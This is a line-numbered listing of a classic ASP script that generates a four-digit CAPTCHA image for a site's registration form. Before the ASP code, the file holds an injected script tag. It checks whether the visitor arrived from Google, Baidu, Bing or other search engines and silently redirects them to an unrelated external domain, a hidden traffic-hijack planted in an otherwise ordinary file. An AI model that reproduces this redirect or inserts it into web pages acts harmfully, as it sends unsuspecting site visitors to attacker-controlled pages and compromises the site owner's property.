d:\wwwroot\wuchunhua\zhuce\inc\Safecode_2.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="canvas.asp"-->
002:
<%
003:
004:
Dim objCanvas
005:
Dim PointX,PointY,PointColor
006:
Dim iTemp
007:
Dim SafeCode
008:
Dim R,G,B,cc,kk
009:
cc=80
010:
kk=30
011:
SafeCode = ""
012:
Session("SafeCode") = ""
013:
014:
BGColor = "FFFFFF"
015:
016:
R = Mid(BGColor,1,2)
017:
G = Mid(BGColor,3,2)
018:
B = Mid(BGColor,5,2)
019:
020:
021:
022:
R = DecHex(R)
023:
G = DecHex(G)
024:
B = DecHex(B)
025:
026:
Set objCanvas = New Canvas
027:
028:
objCanvas.GlobalColourTable(0) = RGB(255,255,255) ' White
029:
objCanvas.GlobalColourTable(1) = RGB(0,0,0) ' Black
030:
objCanvas.GlobalColourTable(2) = RGB(255,0,0) ' Red
031:
objCanvas.GlobalColourTable(3) = RGB(0,255,0) ' Green
032:
objCanvas.GlobalColourTable(4) = RGB(0,0,255) ' Blue
033:
objCanvas.GlobalColourTable(5) = RGB(128,0,0)
034:
objCanvas.GlobalColourTable(6) = RGB(0,128,0)
035:
objCanvas.GlobalColourTable(7) = RGB(0,0,128)
036:
objCanvas.GlobalColourTable(8) = RGB(128,128,0)
037:
objCanvas.GlobalColourTable(9) = RGB(0,128,128)
038:
objCanvas.GlobalColourTable(10) = RGB(128,0,128)
039:
objCanvas.GlobalColourTable(11) = RGB(R,G,B)
040:
041:
objCanvas.BackgroundColourIndex = 11
042:
043:
objCanvas.Resize cc,kk,false
044:
045:
046:
Randomize timer
047:
SafeCode = cint(8999*Rnd+1000)
048:
049:
Session("SafeCode") = SafeCode
050:
dim sc,sk
051:
Randomize timer
052:
sc = cint(24*Rnd)
053:
sk = cint(11*Rnd)
054:
objCanvas.DrawTextWE sc,sk,SafeCode
055:
objCanvas.Write
056:
057:
058:
059:
060:
Function DecHex (HStr)
061:
062:
Dim Result
063:
Dim i,L
064:
065:
Result = 0
066:
067:
068:
L = Len(Hstr)
069:
070:
071:
For i = L-1 To 0 Step -1
072:
073:
Result = Result + (16 ^ i)*GetDecBit(Mid(HStr,i+1,1))
074:
075:
Next
076:
077:
DecHex = Result
078:
079:
End Function
080:
081:
Function GetDecBit (HStr)
082:
083:
Dim Result
084:
Dim R(16)
085:
Dim i
086:
087:
Result = 0
088:
089:
R(0) = "0"
090:
R(1) = "1"
091:
R(2) = "2"
092:
R(3) = "3"
093:
R(4) = "4"
094:
R(5) = "5"
095:
R(6) = "6"
096:
R(7) = "7"
097:
R(8) = "8"
098:
R(9) = "9"
099:
R(10) = "A"
100:
R(11) = "B"
101:
R(12) = "C"
102:
R(13) = "D"
103:
R(14) = "E"
104:
R(15) = "F"
105:
106:
For i = 0 To 15
107:
108:
if HStr=R(i) Then Result = i : Exit For
109:
110:
Next
111:
112:
GetDecBit = Result
113:
114:
End Function
115:
%
>
116:
117: